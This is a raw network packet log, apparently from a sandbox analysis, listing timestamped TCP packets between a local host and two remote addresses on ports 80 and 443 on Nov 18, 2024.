Nov 18, 2024 04:41:13.149806023 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149815083 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149818897 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.149835110 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.149859905 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.149861097 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149877071 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.149887085 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149894953 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.149912119 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.149919033 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149919033 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149926901 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.149931908 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149944067 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.149955988 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149972916 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.149985075 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150028944 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150053024 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150070906 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150074005 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150088072 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150111914 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150134087 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150150061 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150165081 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150177002 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150181055 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150192976 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150192976 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150197983 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150213957 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150219917 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150233984 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150239944 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150260925 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150281906 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150281906 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150298119 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150319099 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150325060 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150332928 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150341034 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150357962 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150357962 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150376081 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150378942 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150398970 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150403023 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150409937 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150418043 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150434971 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150437117 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150449991 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150454998 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150466919 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150466919 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.150487900 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.150499105 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.205528021 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.206216097 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.206255913 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.207039118 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.207050085 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.209178925 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.209583044 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.209610939 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.209954023 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.209959984 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.211184978 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.211534977 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.211549997 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.211700916 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.211950064 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.211983919 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.212089062 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.212095022 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.212385893 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.212393045 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.212548018 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.212845087 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.212862015 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.213315010 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.213323116 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.234175920 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234210968 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234229088 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234246016 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234344006 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234365940 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234410048 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234479904 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234520912 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234532118 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234536886 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234564066 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234576941 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234576941 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234580994 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234596968 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234603882 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234615088 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234621048 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234631062 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234631062 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234648943 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234653950 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234663963 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234664917 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234679937 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234683037 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234698057 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.234704018 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234715939 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.234736919 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267573118 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267612934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267630100 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267656088 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267671108 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267678022 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267700911 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267704010 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267719030 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267740011 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267751932 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267762899 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267765999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267782927 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267793894 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267807007 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267807007 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267824888 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267828941 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267837048 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267842054 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267860889 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267863035 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267877102 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267883062 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267893076 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267916918 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.267923117 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.267961979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268013000 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268028975 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268050909 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268058062 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268071890 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268073082 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268090963 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268096924 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268107891 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268115044 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268126011 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268136024 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268147945 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268155098 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268162012 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268167019 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268186092 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268188953 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268203020 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268207073 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268228054 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268228054 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268238068 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268244982 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268259048 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268266916 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268277884 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268282890 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268292904 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268292904 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268311024 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268316031 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268323898 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268337011 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268347979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268352985 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268368959 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268393040 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268395901 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268413067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268413067 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268436909 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268444061 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268452883 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268465042 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268471956 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268479109 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268497944 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268498898 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268513918 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268513918 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268532991 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268548012 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268551111 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268565893 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268575907 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268582106 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268600941 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268614054 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268614054 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268645048 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268652916 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268666983 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268692017 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268696070 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268706083 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268721104 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268738031 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268753052 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268767118 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268767118 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268773079 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268799067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268809080 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268824100 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268836021 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268848896 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268851042 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268873930 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268877029 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268883944 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268893003 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268908978 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268915892 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268923998 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268925905 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268942118 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268944979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268954992 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268959999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268979073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.268980026 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.268990040 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269016981 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269022942 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269037962 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269061089 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269062042 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269078016 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269078016 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269100904 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269110918 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269121885 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269129038 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269153118 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269155979 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269172907 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269177914 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269186974 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269201040 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269207954 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269217968 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269233942 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269243002 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269252062 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269260883 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269272089 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269278049 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269294977 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269303083 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269320965 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269320965 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269337893 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269347906 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269356012 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269366980 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269382000 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269387007 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269397020 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269401073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269417048 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269438982 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269576073 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269606113 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269614935 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269622087 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269638062 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269648075 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269665003 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269673109 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269681931 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269699097 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269706011 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269715071 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269728899 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269731045 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269740105 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269747019 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269792080 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269792080 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269798994 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269815922 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269833088 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.269836903 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269872904 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.269872904 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.315829992 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.315856934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:13.315964937 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:13.338742971 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.338768005 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.338830948 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.338881016 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.338943958 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.339164019 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.339200974 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.339231968 CET	49714	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.339247942 CET	443	49714	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.341346025 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.341382980 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.341430902 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.341438055 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.341453075 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.341492891 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.341494083 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.341546059 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.341666937 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.341667891 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.341686010 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.341707945 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.342389107 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.342413902 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.342428923 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.342437029 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.342916012 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.342956066 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.343034983 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.343465090 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.343481064 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.344650984 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.344677925 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.344737053 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.344810963 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:13.344822884 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:13.344840050 CET	443	49715	13.107.246.45	192.168.2.6
